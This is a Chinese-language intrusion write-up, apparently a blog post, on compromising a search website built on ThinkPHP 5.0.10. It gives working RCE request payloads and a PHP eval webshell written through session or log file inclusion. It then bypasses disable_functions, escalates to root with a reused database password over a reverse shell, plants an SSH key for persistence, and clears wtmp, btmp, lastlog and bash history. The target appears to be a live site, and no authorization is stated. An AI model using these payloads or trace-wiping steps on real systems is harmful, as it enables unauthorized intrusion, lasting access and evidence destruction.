对某搜索网站的一次Getshell

前言

丁师傅给了个站,说是基于 thinkphp5.0.10 的一个网站,但有 disable_functions 问我如何 getshell。本以为应该随手就能 getshell 了,但拿到站之后,日了很久,才最终拿到 webshell。拿到 shell 之后整理了下整个流程和思路,感觉自己真的太菜了… 过程中忽视了一些细节,导致走了一些弯路。

过程

输入不存在的路径得到报错信息,由此可以得到目标的 ThinkPHP 版本为 5.0.10

5.0.10 在没有 disable_functions 的情况下,直接 RCE 的 payload 打过去就行了

POST 提交s=whoami&_method=__construct&method=POST&filter[]=system

但目标环境直接用这个payload 发现无任何反应。通过 s=-1&_method=__construct&method=POST&filter[]=phpinfo 查看 phpinfo 信息,获取到了 disable_functions 列表

可以看到 pcntl_exec 不在 disable_functions 中,所以在 getshell 之后 bypass disable_functions 的话,可以尝试利用下这个函数。

遇到问题

5.0.10 版本的 RCE 漏洞,由于漏洞最终的执行点如下图,只能调用单参数的函数,在disable_functions 禁用了命令执行函数之后,便不能直接通过调用 bash 命令来写入 webshell 了。

因为只能执行接收一个参数的函数,file_put_contents 这个写文件的函数至少需要两个参数,所以到这里 getshell 的思路暂时断了。没了思路就想先把这个利用点先放着了。

重新对目标进行信息收集,主要想从端口下手,看看目标有没有开这其他服务,但通过多地 ping 发现目标部署了 CDN 服务,所以 ping 得到的并不是目标的真实 IP。但问题不大,前面的 RCE 漏洞是能执行 phpinfo() 的,通过 phpinfo() 拿到目标的真实 IP

进行端口探测后发现,目标的 3306 可以外联,利用前面的 RCE 漏洞,读取数据库配置文件,得到了数据库用户名密码。

这里得到的用户名不是 root,我连上数据库后没注意,看了眼数据库就溜了。但事后丁师傅告诉我这个用户跟 root 权限相同,且通过读取用户密码hash,可以破解出用户密码(无语)。这样的话,数据库这里也是一个可以利用的点(想试试数据库的利用时,发现数据库连不上了….)

当时以为数据库无法利用,就放弃了数据库这里。之后又在寻找有没有函数接收一个参数,能进行 getshell 的。

这时突然想到 PHP 的文件包含函数,只需要一个参数,但在目标上试了下,发现失败了,之后本地测试了下。得到如下报错。

好吧, include 不是函数,是一种特殊的语言结构,不能动态调用。

解决问题

这时,看到了先知上的一篇文章,记一次有趣的tp5代码执行 。发现在 Thinkphp 的 Loader.php中,__include_file__require_file 两个框架函数封装了 includerequire 函数。那么我们便可以动态调用框架中提供的这两个函数来实现文件包含。

接下来要做的就是如何把我们的一句话内容写入到目标服务器上,先知文章中也提供了两个思路,写日志和写session。

1
2
3
4
5
写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

包含日志文件
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/201901/21.log&x=phpinfo();
1
2
3
4
5
写 shell 到 session 文件
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

包含 session 文件
_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_[sessid]&server[]=1

先在目标上尝试了下将 shell 写进日志,但是发现失败了。查看了目标关于日志的相关配置,发现原来是目标将日志功能关闭了。

那只能利用写 session 的方式来进行写 shell 了。想利用<?php file_put_contents('config.php','<?php @eval($_POST[1]);?>')?> 在 public 目录下写入一个一句话。

但是尝试了几次,都没有写入成功。此时我以为是 session 的存储路径不在 /tmp 目录下,然后用 phpinfo 查看了 session 存储路径,发现值为空。以为这个点利用不了了,又开始找其他写入文件的方法。

但后来通过查看 /tmp 目录下的文件内容发现 session 文件是写入了的,那么为什么一句话木马生成不了呢?

既然生成不了新的一句话,那就直接在 session 文件中写入一句话然后包含,果然直接成功了。之后用蚁剑连上 shell 后发现目标的网站根目录下对 www 用户根被没有写权限。所以才导致了一句话写入不了。

bypass disable_functions

黑名单函数比较少,所以这个环境的绕过还是比较容易的,利用 pcntl_exec() 或者直接用蚁剑插件也行。

提权

思路很简单,主要是运气真得好…难得渗透的时候运气好一次…

前文说过了,数据库 root 的用户名,可以破解出来。反弹 shell 回来之后,使用 su 命令,用数据库的 root 密码尝试了下切换到系统 root 用户,结果就成功了。

反弹的 shell 要先用 Python 切换到具有交互的shell,再用 su 切换

权限维持

权限维持接触的比少,骚思路比较少,简单的添加个 ssh 私钥登录。

修改 ssh 配置文件,开启 ssh 私钥登录,然后往 /root/.ssh 目录下写入公钥

痕迹清理

简单清理下 ssh,bash 等的历史记录。

1
2
3
4
5
> /var/log/wtmp  # 对应 last 命令,所有成功登录/登出的历史记录
> /var/log/btmp # 对应 lastb 命令,登录失败尝试
> /var/log/lastlog # 对应 lastlog 命令,最近登录记录
> /root/.viminfo # vim 的记录
> /root/.bash_history # 这样会清空 .bash_history 文件的内容,建议使用 history -c 来将历史记录还原到登录之前

总结

这次思路整理起来感觉没有什么特别困难的地方,但实际在做的时候还是遇到了不少问题的。总结起来还是自己对搜集到的信息忽视了太多细节,导致走了很多弯路。渗透测试就是信息搜集还是没错的。

参考

记一次有趣的tp5代码执行